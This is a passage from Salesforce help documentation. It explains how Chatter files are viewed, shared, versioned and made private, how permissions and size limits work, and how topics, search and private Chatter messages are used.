Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Note: Microsoft Office 2007 file previews are currently available through a pilot program.

Open a file detail page by clicking a file name on a Chatter feed, on a files list, on a file hover, or by clicking More Actions > View file detail page next to the file in a feed. On the file detail page, you can see details about Chatter files and Salesforce CRM Content files, but you can only perform actions on Chatter files. To perform actions on files that originated in Salesforce CRM Content, click Go to Content Detail Page. From a file detail page, you can: Preview the file without downloading it. If the file has multiple pages, click on the enhanced document player or use the arrow keys on your keyboard to see each page, zoom in or out, or change the preview width and screen size. Files owners and anyone with access to the file can preview it. Note: Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews. See if the file is private ( ), privately shared ( Click ), or shared with your company ( ).

Download to open or save the file. Anyone who can see a file, can download it.

Click Share File to share a file with people, groups, or via file link, or see the Sharing Settings. Anyone who can see a file can share it. Click Make private on the Sharing Settings dialog box to remove the file and file link, if applicable, from everywhere it's been shared. Or click Restrict access if the file originated in a Salesforce CRM Content library. Only owners and users with the Modify all Data permission can make a file private ( ) or restrict access. Click Upload New Version to update the file with a newer version. Only file owners, collaborators, and users with the Modify all Data permission can upload a new version of a file.

2178

Files

Editing File Details

Click Edit Details to edit the name or description of the file. Only file owners, collaborators, and users with the Modify All Data permission can edit file details. Click Delete to delete the file. Only file owners and users with the Modify All Data permission can delete files. See who the file is owned by and when it was last modified. See the file's description and click the edit icon ( ) to edit the description, or add a description by clicking Add Description. See the file's current version number and click Show all versions to see the file's version history. Click Follow to follow the file or click to stop following the file. See who's following the file. See who and what locations the file is shared with. If the file originated in Salesforce CRM Content, click Go to Content Detail Page to see the content detail page of that file. Any actions performed on files that originated in Salesforce CRM Content must be done on the file's content detail page instead of the file detail page. Click the Files or Chatter links at the top of the page to go to the Files list or the Chatter page.

See Also:
Files Overview Editing File Details Sharing Files with People Sharing Files with Groups Sharing Files via Link Uploading and Sharing Files

Editing File Details


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To edit a file's name and description: 1. On a file detail page, click Edit Details or click the edit icon ( ) next to the description. 2. Optionally, edit the file name and description. 3. Click Save. If there is no description and you want to add one, click Add Description or click the edit icon ( ) next to the description. File owners, collaborators, and users with the Modify All Data permission can edit file details.

See Also:
Files Overview Viewing the File Detail Page

Sharing Files with People


2179

Files

Sharing Files with People

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Share a file privately so only specific Chatter users in your company can see it. Anyone who can see a file can share it. To share a file with one or more Chatter users in your company: 1. Start by sharing the file from one of these locations: On the detail page of the file you want to shareClick either Share File > With people. Or click Show All on the Shared With list then click People on the Sharing Settings dialog box. Next to the file in a feedClick Share File then click People on the Sharing Settings dialog box. Share with people.

Next to the file on the Files page, the Files Owned by list, or the Group Files listClick On a file hoverClick Share File then click People on the Sharing Settings dialog box.

2. Type the name of the person you want to share the file with and click the name to select it. They are given collaborator permission by default which lets them view, download, share, change permission, edit the file, and upload new versions. 3. Optionally, select Viewer to give the person permission to view, download, and share files. 4. Optionally, share with more than one person by entering another name. 5. Optionally, add information to the message that recipients receive. 6. Click Share and Close. Recipients automatically receive a Chatter message on their My Messages page on the Chatter tab. The message lets the recipient know you shared a file with them and any additional information you provided. If they're already receiving Chatter email notifications, they'll also automatically be notified of new messages. Unless the file was already shared with your company, it's privately shared and displays the privately shared icon ( ). It's not posted anywhere and only the people you specifically shared it with can find and view it. If it was already shared with your company, it retains the your company icon ( On the Sharing Settings dialog box, click Note: Files in your Salesforce CRM Content personal library must first be published before they can be shared. Web links and Google Docs from Salesforce CRM Content are listed on the Files tab, but can't be shared in Chatter. Documents from the Documents tab and attachments from the Notes and Attachments related list aren't listed on the Files tab and can't be shared in Chatter. Salesforce CRM Content files in Chatter may be shared with more people than shown on the Sharing dialog box if they are part of a content pack or delivery. ) and all Chatter users in your company can find and view it. next to a person's or group's name to stop sharing the file with them.

2180

Files

Sharing Files with Groups

The maximum number of times a file can be shared is 100. This includes files shared with people, groups, and via links. If a file is privately shared and nears the 100 share maximum, consider making the file public by posting it to your feed.

See Also:
Sharing Files with Groups Sharing Files via Link Viewing Where a File is Shared Making a File Private File Sharing Settings and Permissions Changing File Permissions Chatter Messages Overview

Sharing Files with Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Share a file with a private group so only members of that group can see it or share a file with a public group so members of that group and all Chatter users in your company can see it. Anyone who can see a file can share it. To share a file with one or more Chatter groups: 1. Start by sharing the file from one of these locations: On the detail page of the file you want to shareClick either Share File > With group. Or click Show All on the Shared With list then click Groups on the Sharing Settings dialog box. Next to the file in a feedClick Share File then click Groups on the Sharing Settings dialog box.. Share with groups.

Next to the file on the Files page, the Files Owned by list, or the Group Files listClick On a file hoverClick Share File then click Groups on the Sharing Settings dialog box.

2. Type the name of the group you want to share the file with and click the name to select it. Group members are given viewer permission by default which lets them view, download, and share files. 3. Optionally, select Collaborator to give group members permission to view, download, share, change permission, edit the file, and upload new versions. 4. Optionally, share with more than one group by entering another name. 5. Optionally, add a message that will be posted with the file. If you don't add a message, a generic message is used. 6. Click Share and Close. The file is posted to each group you shared it with.

2181

Files

Sharing Files via Link

A private file shared with a private group becomes a privately shared file and displays the privately shared icon ( ). The file is posted to the group's feed and only the file owner and group members can find and view the file. Any file shared with a public group is available to all users in your company, displays the your company icon ( On the Sharing Settings dialog box, click Note: Files in your Salesforce CRM Content personal library must first be published before they can be shared. Web links and Google Docs from Salesforce CRM Content are listed on the Files tab, but can't be shared in Chatter. Documents from the Documents tab and attachments from the Notes and Attachments related list aren't listed on the Files tab and can't be shared in Chatter. Salesforce CRM Content files in Chatter may be shared with more people than shown on the Sharing dialog box if they are part of a content pack or delivery. The maximum number of times a file can be shared is 100. This includes files shared with people, groups, and via links. If a file is privately shared and nears the 100 share maximum, consider making the file public by posting it to your feed. ), and is posted to the group's feed.

next to a person's or group's name to stop sharing the file with them.

See Also:
Sharing Files with People Sharing Files via Link Viewing Where a File is Shared Making a File Private File Sharing Settings and Permissions Changing File Permissions

Sharing Files via Link


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Share a Chatter file with anyone by creating a file link and sending it via email or IM. Creating a link generates an encrypted URL that you can send to any recipient, such as leads, customers, partners, and coworkers, inside or outside of your company. When your recipients click the link, they see a web-based version of the file that they can easily view and download. Sharing via link is on by default for most organizations that have Chatter. Administrators can enable sharing via link by enabling these permissions: 1. Click Your Name > Setup > Customize > Content Deliveries > Settings. Select Enable content deliveries and Enable Chatter file links. 2. Click Your Name > Setup > Manage Users > Permission Sets. Select a permission set, click System Permissions, and select Create and Share Links to Chatter Files.

2182

Files

Sharing Files via Link

3. Click Your Name > Setup > Manage Users > Profiles. Select a profile, click Edit. In General User Permissions, select Create and Share Links to Chatter Files. You don't need this permission for files in a shared Salesforce CRM Content library. Instead, complete steps 1 and 2 and then ensure the user is a library member and that Deliver Content is checked in the library permission definition. Create and share a file link: 1. Start by sharing the file from one of these locations: On the Files pageClick Upload a file, click Browse and select a file from your computer, then click Share via link > Upload. On the Home pageClick Create New > File, click Browse and select a file from your computer, then click Share via link > Upload. On a file detail pageClick Share File > Via link. On the Sharing Settings dialog boxClick Anyone with link from the Share with list. Next to the file on the Files page, the Files Owned by list, or the Group Files listClick Next to the file in a feed or on a file hoverClick list. > Share via link.

Share File, then click Anyone with link from the Share with

2. Click Copy if available (or copy the link manually), and paste the link into an email or IM. File link recipients can only view and download files. They can't be collaborators. Unless the file was already shared with your company, it's privately shared and displays the privately shared icon ( ). It's not posted anywhere and only the people you specifically shared it with can find and view it. If it was already shared with your company, it retains the your company icon ( On the Sharing Settings dialog box, click access the file. Note: Files in your Salesforce CRM Content personal library must first be published before they can be shared. Web links and Google Docs from Salesforce CRM Content are listed on the Files tab, but can't be shared in Chatter. Documents from the Documents tab and attachments from the Notes and Attachments related list aren't listed on the Files tab and can't be shared in Chatter. The maximum number of times a file can be shared is 100. This includes files shared with people, groups, and via links. If a file is privately shared and nears the 100 share maximum, consider making the file public by posting it to your feed. ) and all Chatter users in your company can find and view it. next to a link to stop sharing it. Anyone with the link will no longer be able to

See Also:
Sharing Files with People Sharing Files with Groups Viewing Where a File is Shared Making a File Private File Sharing Settings and Permissions

2183

Files

Viewing Where a File is Shared

Viewing Where a File is Shared


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Note: Microsoft Office 2007 file previews are currently available through a pilot program.

The Shared With list on a file detail page shows you the file owner and who the file is shared with. Click Show All to view the full list. From the Sharing Settings dialog box you can: See the file's sharing setting: PrivateThe file is only available to you. It hasn't been shared with anyone else. Privately SharedThe file is only available to the specific people or groups it's shared with, including shares via link. Your CompanyAll Chatter users in your company can find and view this file.

See who the file is shared with and their permission: owner, collaborator, or viewer. Click People on the Sharing Settings dialog box to share the file with specific people. Click Groups on the Sharing Settings dialog box to share the file with specific groups. Click Anyone with link on the Sharing Settings dialog box to create and share a file link. Click Make private to remove the file and file link, if applicable, from everywhere it's been shared. Or click Restrict access if the file originated in a Salesforce CRM Content library. Only owners and users with the Modify all Data permission can make a file private ( ) or restrict access. Alternately, click Restrict access (if the file originated in a Salesforce CRM Content library) to remove the file from everywhere it's been shared except the library. On the Sharing Settings dialog box, click next to a person's or group's name to stop sharing the file with them. Click Next and Previous to see more of the list, or click Done to close the window.

See Also:
Sharing Files with People Sharing Files with Groups Sharing Files via Link Making a File Private File Sharing Settings and Permissions Changing File Permissions

Making a File Private

2184

Files

Making a File Private

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. File owners and users with the Modify All Data permission can make a file and file link, if applicable, private ( ) if they decide they don't want it to be shared anymore. Making a file private removes it from any posts it's attached to and removes it from everywhere it's been shared. Only the owner and users with the Modify All Data permission will have access to it. Alternately, file owners and users with the Modify All Data permission can restrict access to a file that originated in a Salesforce CRM Content library to remove the file from everywhere it's been shared, except the library. 1. From the file detail page of the file you want to make private or restrict access, click either Share File > Sharing Settings or Show All on the Shared With list. 2. On the Sharing Settings dialog box, click Make private (or Restrict access if the file originated in a Salesforce CRM Content library). 3. On the confirmation dialog box, click Make private (or Restrict access).

See Also:
Files Overview Sharing Files with People Sharing Files with Groups Sharing Files via Link Viewing Where a File is Shared File Sharing Settings and Permissions

Uploading a New Version of a File


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

Upload a new version of a file that was previously uploaded to My Files or attached to a Chatter feed. After you upload the new version, it is available on the Files list and in Chatter. For example, upload a new version of a file if the contents of the previous version have changed. When you upload a new version of a file, a notification is posted to your Chatter feed. Anyone following the previous version also gets a notification in their Chatter feed. If the file is private, only the file owner sees the notification. The notification of the new version includes a file preview, the ability to download, and the file description if provided. Uploading a new version replaces all previous versions in Chatter, but previous versions are still available by clicking Show all versions on the file detail page. To upload a new version:

2185

Files

Viewing File Version History

1. Upload a new version from any of these locations: On the file detail pageClick Upload New Version.

Next to the file in a feedClick More Actions > Upload new version. Next to the file on the Files page, the Files Shared with list on a group, or the Files Owned by list on a profileClick > Upload New Version. Upload New Version. On a file hoverClick

2. Click Browse, and select a file from your computer. 3. Optionally, add information about the changes you made to the file in the What Changed dialog box. The information is shown on the Version History list. 4. Click Upload New Version. The file detail page and any previous posts show the updated version. Note: Only file owners, collaborators, and users with the Modify all Data permission can upload new versions. To learn who can perform which actions on a file, see File Sharing Settings and Permissions on page 2188. The file owner doesn't change when a collaborator uploads a new version. If the file is from Salesforce CRM Content, you can't upload a new version from the file detail page. You can click Go to Content Detail Page and upload a new version there.

See Also:
Files Overview Viewing File Version History Uploading and Sharing Files

Viewing File Version History


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

The file detail page shows the current version number of the file. Click Show all versions to see the Version History list. The list shows you all the versions of the file uploaded in Chatter, including the current version. From the list you can preview or download the file, see who updated it and when, and see the description if provided. The file detail page always shows the most current version of a file.

See Also:
Files Overview Uploading a New Version of a File

2186

Files

Following Files

Following Files
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Follow files so you can see updates in your Chatter feed on the Home page and Chatter page, including when a new file version is uploaded. If you stop following a file, the file remains in your Files list, you just won't see updates in your feed anymore. Click Follow to start seeing updates, or click to stop seeing updates:

On the file's detail page Next to the file in a feed Next to the file on the Files page Next to the file on the Files Shared with list on a group Next to the file on the Files Owned by list on a profile On the file hover Note: You automatically follow files you upload in Chatter, attach to a Chatter feed, or upload to a Salesforce CRM Content library. If you follow a file in Chatter that you have previously subscribed to in Salesforce CRM Content, you can unsubscribe from the file in Salesforce CRM Content because you'll now be receiving updates about it in your Chatter feed.

See Also:
Files Overview Viewing the File Detail Page

Deleting a File from the File Detail Page


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Click Delete on a file's detail page to delete the file and remove it from all locations where it's been shared. If the file is shared via link, anyone with the link will no longer have access to the file. To restore the deleted file, click on the Recycle Bin link on the Home page. Select the file and click Undelete. The file is restored as well as all of the shares that were associated with it. Note: Only file owners and users with the Modify All Data permission can delete files. To learn who can perform which actions on a file, see File Sharing Settings and Permissions on page 2188.

2187

Files

File Sharing Settings and Permissions

For more information about deleting files from other places in Chatter, see Removing and Deleting Files and Links from a Chatter Feed on page 2171.

See Also:
Files Overview Uploading and Sharing Files Viewing the File Detail Page

File Sharing Settings and Permissions


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. This table describes file sharing settings which are determined by how the file is shared. The sharing setting and icon appear on a file's detail page and on the Shared With list on a file detail page. Sharing Setting Private Definition The file is private. It hasn't been shared with anyone else besides the owner. Only the file owner and users with Modify All Data permission can find and view this file, unless it is in a personal library, then only the file owner has access to it. When Does a File Have This Setting? A file is private when you: Upload it on the Home or Files page Publish it to your personal library Stop sharing it with everyone (Make Private) Delete posts that include the file and the file isn't shared anywhere else A file is privately shared when it's: Only shared with specific people or a private group Posted to a private group Shared via link Posted to a feed on a record Published to a shared library

Privately Shared

The file has only been shared with specific people, groups, or via link. It's not available to all Chatter users in your company. Only the file owner, users with Modify All Data or View all Data permission, and specific file viewers can find and view this file.

Your Company

All Chatter users in your company can find A file is shared with your company when and view this file. it's posted to a feed on the Home page, Chatter page, a profile, a record, or a public group.

This table describes the actions that can be performed by users based on their permission:

2188

Files

Changing File Permissions

Action View/Preview Download Share Attach a file to a post Upload New Version Edit Details Change Permission Make a File Private Restrict Access Delete

File Owner Yes Yes Yes Yes Yes Yes Yes Yes Yes Yes

File Collaborator Yes Yes Yes Yes Yes Yes Yes

File Viewer Yes Yes Yes Yes

Note: Users with Modify All Data permission can view, preview, download, share, attach, make private, restrict access, edit, upload new versions, and delete files they don't own. However, if the file is in a personal library, then only the file owner has access to it. Users with View All Data permission can view and preview files they don't own. However, if the file is in a personal library, then only the file owner has access to it. Groups (including group members) and records have viewer permission for files posted to their feeds. Permissions for files shared with libraries are determined by the library.

See Also:
Files Overview Viewing Where a File is Shared Sharing Files with People Sharing Files with Groups Changing File Permissions

Changing File Permissions


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

File owners and collaborators can change file permissions from viewer to collaborator and vice versa. Viewers can view, download, and share files. Collaborators can view, download, share, change permission, edit the file, and upload new versions.

To change a file permission:

2189

Files

File Size Limits in Salesforce

1. 2. 3. 4.

On a file detail page, click Share File > Sharing Settings. Find the person or group whose permission you want to change. Click the Permission drop down and select either Make Viewer or Make Collaborator. The change happens immediately. Click Close. Note: When you share a file with someone, they are given collaborator permission by default. When you share a file with a group, the group members are given viewer permission by default. You can change the default permissions when you share a file for the first time. File owners and collaborators can change permissions after a file has been shared. File link recipients can only view and download files. They can't be collaborators.

See Also:
Files Overview Sharing Files with People Sharing Files with Groups Viewing Where a File is Shared File Sharing Settings and Permissions

File Size Limits in Salesforce


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The following are maximum file size limits for files in Salesforce. Feature Maximum File Size Files Tab and Chatter 100 MB Salesforce CRM Content Salesforce Knowledge 10 KB for articles 5 MB for attachments Documents Tab Attachments Related List 5 MB for file attachments 100 MB for feed attachments

2 GB 10 MB for Google Docs 10 MB for email attachments

5 MB 20 KB for a custom-app logo

2190

Files

Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments

Feature

Files Tab and Chatter

Salesforce CRM Content 38 MB when uploaded via the API 10 MB when uploaded via Visualforce

Salesforce Knowledge

Documents Tab

Attachments Related List 10 MB for files attached to email

See Also:
Files Overview Uploading and Sharing Files Salesforce CRM Content Overview What is Salesforce Knowledge? Documents Home Adding Attachments

Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments
Files Tab Purpose Upload, store, find, follow, share, and collaborate on Salesforce files in the cloud. Salesforce CRM Content Publish and share official corporate files with coworkers and deliver them to customers. Salesforce Knowledge Create and manage content, known as articles, in a knowledge base. Internal users and customers (on your Customer Portal, partner portal, Service Cloud Portal, or Force.com Sites) can quickly find and view articles they need. Write, edit, publish, and archive articles using the Articles Management tab or find and view published articles Documents Tab Store Web resources, such as, logos, DOT files, and other Visualforce materials in folders without attaching them to records. Attachments Attach files to records from the Attachments related list on selected detail pages.

Common Uses

Upload a file in Chatter and store it there privately until you're ready to share it. Share the file with coworkers and

Create, clone, or modify a sales presentation and save it so only you can see it and work on it. When you're

Add a custom logo to meeting requests by uploading your logo to the Documents tab.

Add a file to a specific record, like an event, marketing campaign, contact, or case by attaching it on the

2191

Search

Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments

Files Tab groups to collaborate and get feedback. Attach files to posts in a Chatter feed on the Home tab, Chatter tab, a profile, a record, or a group.

Salesforce CRM Content ready, publish it so other users in your company have access to it. Create a content pack and send it to customers.

Salesforce Knowledge using the Articles tab. Customers and partners can access articles if Salesforce Knowledge is enabled in your Customer Portal, partner portal, Service Cloud Portal, or Force.com Sites. Create a public knowledge base so website visitors can view articles. All

Documents Tab

Attachments Attachments related list.

Supported File Types Maximum File Sizes

All 100 MB

All

All 10 KB for articles 5 MB for attachments

All 5 MB 20 KB for a custom-app logo 5 MB for file attachments 100 MB for feed attachments 10 MB for files attached to email

2 GB 10 MB for Google Docs 10 MB for email attachments 38 MB when uploaded via the API 10 MB when uploaded via Visualforce

See Also:
Files Overview Salesforce CRM Content Overview What is Salesforce Knowledge? Documents Home Adding Attachments

SEARCH
Searching in Chatter
2192

Search

Searching in Chatter

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To find Chatter feeds, people, groups, and files: 1. Enter your search terms in the header search box. 2. Click Search. 3. From the search results, click an item to open it or click Edit, if available. Click Chatter Updates at the top of the page to view Chatter feed search results that include your search terms. Click Records to return to Chatter people, groups, and files search results.

Searching for Topics and Mentions


Search for topics by entering # followed by the topic (such as #SalesReport) in the header search box. In the search results, click Chatter Updates to see all posts and comments that refer to that topic. Search for mentions by entering @ followed by a person's name (such as @Madison Rigsby) in the header search box. In the search results, click Chatter Updates to see where Madison Rigsby is mentioned in Chatter posts and comments.

See Also:
Search Overview

Chatter Feed Search Results


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Chatter Updates search results display peoples' posts and comments that include your search terms. Chatter feed searches aren't limited to your selected search options; Chatter feed search results include matches across all objects. Note: Changes to record fields aren't included in search results. For example, if you've enabled feed tracking on the Billing Address field for the Acme account and modified the Acme billing address, search results for Acme include Acme Suzanne Powell Looking for volunteers to help with the Acme account but don't include Acme Suzanne Powell changed Billing Street to 10 Main Road. Sort your search results by posts only or by posts and comments, just as in other feeds. Comment on, like, and delete posts in the search results, just as in other feeds. To view the detail pages for Chatter files, groups, and people, click the respective name in the update. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. Perform actions (follow, share, download, preview, upload new version, and view file detail page) on files in the search results, just as in other feeds. Click Add to Chatter Favorites to save a topic or Chatter feed search to your favorites on the Chatter tab.

2193

Topics

Chatter Favorites Overview

To view search results for records, such as accounts, contacts, and Chatter people, groups, and files, click Records at the top of the page.

See Also:
Search Overview Using Chatter Feeds

TOPICS
Chatter Favorites Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter favorites on the Chatter tab give you easy access to posts and comments for Chatter feed searches and topics that you want to stay on top of. For example, if you and your coworkers use the topic #acme to track information about your customer Acme, you might want to add #acme as a favorite so you can easily access these updates without leaving the Chatter tab. You can have up to 50 favorites. If you haven't added any favorites, the Favorites section doesn't appear on the Chatter tab. Chatter displays the four favorites most recently added or viewed. Click a favorite to see the updates. Click X more to see all your favorites. Click , which appears on hover, to remove a favorite.

Adding a Chatter Feed Search as a Favorite

1. Enter terms in the header search box and click Search.

2194

Topics

Adding Topics to Posts and Comments

2. Click Chatter Updates to see the posts and comments that include your search terms. 3. Click Add to Chatter Favorites.

The favorite name on the Chatter tab is the same as the search terms you entered. For example, if you searched for competitive analysis, your favorite is competitive analysis. Tip: Save a search for a Chatter group name as a favorite to quickly access the group feed from the Chatter tab. Similarly, save a search for a person's name as a favorite to quickly see that person's posts, comments, and mentions.

Adding a Topic as a Favorite


1. Click a topic, such as #acme. 2. On the Chatter Updates search results page, click Add to Chatter Favorites. The favorite name on the Chatter tab is the same as the topic, #acme.

See Also:
Chatter Feed Search Results

Adding Topics to Posts and Comments


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo (1:10 minutes)

2195

Topics

Adding Topics to Posts and Comments

When you post an update in Chatter, you can associate your update with all other posts and comments on the same subject by adding a topic. A topic is a way to tag and categorize your update so other people can find it more easily. Topics are similar to hashtags used in other social networking sites. Create a topic by typing a hash sign and a word, for example, #leads or #UniversalPaper. For example, if you post an update that you're working on a sales presentation for your customer Universal Paper, you might want to add the topic #UniversalPaper in your update. If your coworkers use the same topic in their updates, anyone can click the topic to view all related comments and posts. Topics become more valuable as more people use them. To add a topic: 1. When posting an update, enter # followed by any word. As you type, you can pick a topic from the list of your recently used topics and the most popular topics used in your company. Or keep typing to add a different topic. Spaces, tabs, new lines, and most punctuation and symbols automatically end a topic. Topics aren't case-sensitive, so #UniversalPaper is the same as #universalpaper. 2. Post your update. The word you entered after # becomes a link that others can click on to view all posts and comments that use the same topic. The topics you use most often appear in your profile. Search for topics by entering # followed by the topic (such as #SalesReport) in the header search box. In the search results, click Chatter Updates to see all posts and comments that refer to that topic. Once you post an update, the only way to delete a topic is to delete the entire post or comment. Chatter administrators can't restrict the topics people use in their updates. The more frequently people include a specific topic in their posts and comments over a short period of time, the more likely it is to become a trending topic. For example, if your coworkers are attending the upcoming Dreamforce conference and have started discussing it in Chatter, you may see a trending topic for #Dreamforce. Trending topics appear on the right side of the Chatter tab.

Unsupported Characters
When creating a topic, type the hash sign followed by a letter or number and then type additional letters, numbers, or characters. Some characters, such as punctuation, symbols, and separators, can't be included in a topic. For example, if you enter #Sales.Report in your update, only #Sales becomes a topic.

See Also:
Updating Your Status Mentioning People in Posts and Comments Viewing the Topics People Use Most Viewing Your Company's Trending Topics

Viewing the Topics People Use Most

2196

Messages

Viewing the Topics People Use Most

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If you add topics to your updates, the topics you use most often appear in your Chatter profile in the Topics I Use Most section. This section helps people learn which topics you're knowledgeable about or interested in. When you click a topic in the Topics I Use Most section, you see just the updates that person has posted that include the topic. You can then expand your search to see all the Chatter updates with that topic by either clicking the highlighted topic in the profile feed or clicking Search Everywhere.

See Also:
Profile Overview

Viewing Your Company's Trending Topics


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Trending Topics area on the Chatter tab shows the topics that your coworkers are discussing right now in Chatter. The more frequently people include a specific topic in their posts and comments over a short period of time, the more likely it is to become a trending topic. For example, if your coworkers are attending the upcoming Dreamforce conference and have started discussing it in Chatter, you may see a trending topic for #Dreamforce. A trending topic usually relates to a one-time or infrequent event that has a spike in activity, such as a conference or a project deadline. A topic that is consistently used in posts and comments over a long period of time isn't considered a trending topic. A topic falls off the trending topics list when fewer people add that topic to their posts and comments, or when people start using new topics more frequently. When determining which topics are trending, Chatter doesn't look at record and private group feeds. Only topics you include when updating your status, posting to a person's profile, or posting to a public group can become a trending topic.

See Also:
Adding Topics to Posts and Comments

MESSAGES
Chatter Messages Overview

2197

Messages

Chatter Messages Overview

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Communicate privately in Chatter using messages.

Watch a Demo on Sending Private Chatter Messages (3:15 minutes) Chatter messages let you have secure private conversations with other Chatter users. Use messages to send your manager a question privately, or to communicate with a few select people when a discussion isn't relevant to everyone you work with. Messages are also used to notify people when a file has been shared with them. Messages don't appear in your feed, your profile, global search results, or any other part of Chatter that's publicly visible. View your messages by clicking the Messages link in the Chatter tab. On the My Messages page, you can: See the most recent message in each of your conversations. The most recent message displays at the top of the list. See the photo of the person who sent the most recent message in a conversation. See if you have unread messages ( ). See if you sent the most recent reply ( ) in a conversation. Click any message to view the full history of messages exchanged in that conversation. Send a message by clicking New Message.

Your messages are organized into conversations, with each conversation defined by the unique combination of people participating in it. For example, let's say you send a message to Sally Smith. When Sally replies, her message continues your one-on-one conversation. Every new message you send to Sallyeven if it's about a different topicalso continues the same conversation. Over time, you build a rich conversation history with Sally that contains every message you've ever exchanged with her. At the same time, let's say you send a message to both Sally Smith and Bob Johnson. That message is considered part of a separate conversation between you, Sally, and Bob. When Sally replies, her message continues a separate conversation from your one-on-one conversation with Sally. Consider these tips for using Chatter messages. You can send messages to anyone in your Chatter organization. It doesn't matter who you follow, who's following you, what groups you belong to, or if the recipient is a customer. Conversations can involve just one other person, or up to ten people total, including yourself. You can't send a message to yourself. Conversation participants are established when someone sends the first message in the conversation. No one can add people or remove people from the conversation after the first message is sent. As others reply, the Messages link on the Chatter tab shows the number of conversations with new messages. If you're already receiving Chatter email notifications, you'll automatically be notified of new messages. You can't delete messages or conversations. An administrator with the Manage Chatter Messages permission can access all users' messages in Chatter, for example, for compliance purposes.

2198

Messages

Sending Chatter Messages

If after reading the messages in a conversation you want to mark the conversation unread, you can do so only via the Chatter REST API, not via the user interface.

See Also:
Sending Chatter Messages Searching for Chatter Messages Administering Chatter Messages About Chatter Customers in Private Groups

Sending Chatter Messages


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Send messages to communicate privately in Chatter. To send a Chatter message: 1. Start the message from one of these locations: Click the Messages link on the Chatter tab, then click New Message in My Messages. Click a person's name anywhere in Chatter to view their profile and click Send a message. Click Send a message on a person's hover. When viewing the full message history of a conversation, use the text box under the most recent message to send a reply. When viewing the email notification about a message you've received, if email replies to Chatter are enabled, reply to the email.

Sharing a file with people is another way to send a Chatter message. When you share a file, recipients automatically receive a message that lets them know the file has been shared, as well as any additional information you provided. 2. If you started in the Send a Message dialog box, you can add people's names to the recipient list. Type a name in the To field and click the name to select it. Add more people to the conversation by entering additional names. If you're replying within a conversation or via email, the conversation participants can't be changed. 3. Write your message. Messages can be up to 10,000 characters. 4. Submit your message using the appropriate method: In the Send a Message dialog box, click Send. If you're replying within a conversation, click Reply (or Reply All if the conversation involves multiple recipients). If you're replying via email, use the Send option in your email application.

2199

Messages

Searching for Chatter Messages

If your message continues an existing conversation, your reply is added to the conversation and appears at the top of the list in My Messages. If your message starts a new conversation because you haven't previously exchanged messages with that unique combination of recipients, your message appears at the top of the list in My Messages as a brand new conversation.

See Also:
Chatter Messages Overview Searching for Chatter Messages Configuring Chatter Email Notifications and Digests Replying to Chatter Email Notifications Sharing Files with People

Searching for Chatter Messages


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To search for people and text in your Chatter messages: 1. In My Messages, enter your search terms in the search box above your messages. Keep in mind these simple search tips: If you're viewing your list of conversations, search looks for matches across all conversations. If you're viewing a single conversation, search looks for matches only within that conversation. Searching for a person's name (such as bob johnson) finds both the conversations where Bob Johnson is named in the text as well as conversations where he's a participant. If you search for your own name, search results will include all of your messages and conversations because you're a participant in every conversation. Searching for bob jo finds both Bob Jones and Bob Johnson. We automatically search for terms starting with bob jo, as if you had entered the * (asterisk) wildcard (bob jo*). If you search for the term customer, you'll see matches on that term within the text of messages. Matches don't include people who are identified as customers in a conversation's participant list.

2. Click Search. 3. Once you see the search results, you can: Refine your search by entering additional search terms or using wildcards or operators. Click a message to view the full conversation if you initially searched across all conversations.

If there are matches on names in the participant list and the conversation involves lots of people, the match might not be visible because the participant list doesn't show everyone's name. In other words, you'll see the conversation included as a match but the highlighted name match might be hidden from view. Clear your search terms by clicking or leave My Messages. . Chatter automatically clears your search when you enter a reply, send a new message,

See Also:
Chatter Messages Overview

2200

Email Notifications

Administering Chatter Messages

Administering Chatter Messages


